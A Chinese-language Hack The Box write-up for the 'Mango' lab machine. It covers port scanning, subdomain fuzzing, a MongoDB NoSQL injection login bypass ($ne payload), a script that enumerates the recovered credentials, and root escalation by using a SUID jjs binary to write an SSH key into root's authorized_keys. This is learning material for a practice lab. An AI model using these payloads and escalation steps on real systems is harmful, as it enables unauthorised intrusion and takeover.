HTB 学习笔记
【Hack The Box】linux练习-- Mango
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- 443
- 域名爆破一下
- staging-order.mango.htb
- mongodb注入
- 提权
信息收集
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.1
| http/1.1
| http/1.1
...[snip]...
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
啥也没有
443
网站证书得到了两个域名
staging-order.mango.htb
mango.htb
域名爆破一下
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Host: FUZZ.mango.htb" --hh 5152 https://10.10.10.162/
但是没有结果
单击 Analytics 链接会导致 /analytics.php,它显示了一个带有饼图的电子表格
但是不知道有啥用
staging-order.mango.htb
NoSQL 注入登录绕过
在使用一些基本的 SQL 注入尝试了一些默认密码后,我尝试了一些 NoSQL 注入 POC。 PayloadsAllTheThings 有一个很好 的测试注入列表 。 在测试 NoSQL 文档数据库注入时,同时更改表单数据内容类型和 JSON,因为像 Mongo 这样的交互数据库使用 JSON。 将 POST 请求更改为 JSON 时,重要的是既要转换数据又要更改 Content-Type标头。
PayloadsAllTheThings 页面的第一部分是身份验证绕过,JSON 格式没有得到任何结果,但是“in URL”POC(也可以在 POST 正文中使用)做到了。 当我在 Burp 中捕获登录请求并将参数编辑为:
username[$ne]=hahaha&password[$ne]=hahaha&login=login
mongodb注入
直接上脚本
https://raw.githubusercontent.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/master/nosqli-user-pass-enum.py
用这个脚本
python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep username
python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password
枚举出
mango:h3mXK8RhU~f{]f5H
admin:t9KcS3>!0B#2
admin不能直接ssh登陆上
那就先登陆mongo再登陆admin
su admin
提权
find / -user root -perm -4000 2>/dev/null -ls
发现了这个从来咩有见过的,并且可以admin操作的
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
jjs是一个用来 调用Nashorn引擎 的Java工具。 实际上,它允许我运行 Java 命令,并且由于 SUID,它们以 root 身份运行
https://gtfobins.github.io/gtfobins/jjs/
但是这个没成功
那我就写一个ssh密钥
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwyDJ9eMoqcJqOhfgnS86spOUDkOvp2NLj+ULUvpyFNmDItPefXS5XbE2U0AiXOKcLkecKh60NcB3nTkhOdh0SEwGTrX9PBD7e5CPCps9AQW8B2DxqjDYe2STV3ZG7cUYtj7Zpk1fZOE6gNv2Fte9g4msyz5kmgVtqCPXHDRzgA0uFXtMhTvM/2WwjPq8dHMDkMMGDVxNDVsqBxG4cvDqM+C8VIwscp+sJZxXs5nM1K/5Xs57YtsTLU++vZZi3VMtZ7DAAZEIccSHAPouKkTJ6r9JsJ+ls54kmuvFVjpK4VsOvDoxs/FpuVUYd3NEpPY7d2JL3G6IAWAfy1ojBihsHV+C0+REkE6sW8sYnmjqZ/vKT0DCcgWxF1sBrrWzvsqs4NWyGt+/FgHjJEp78ehu+pIVFeicDY3MxmNvJgYpkSz7Ku814UNQc6WbJHV+JJLTZ/SSMVMOdeNAgUlXW8kECUrjikH2OcGuL+3YfbnLPXLX6ZC+QvpS2ixBMC+z4Qt8= root@kali");
fw.close();' | jjs
而后ssh -i id_rsa root@10.129.1.219
即可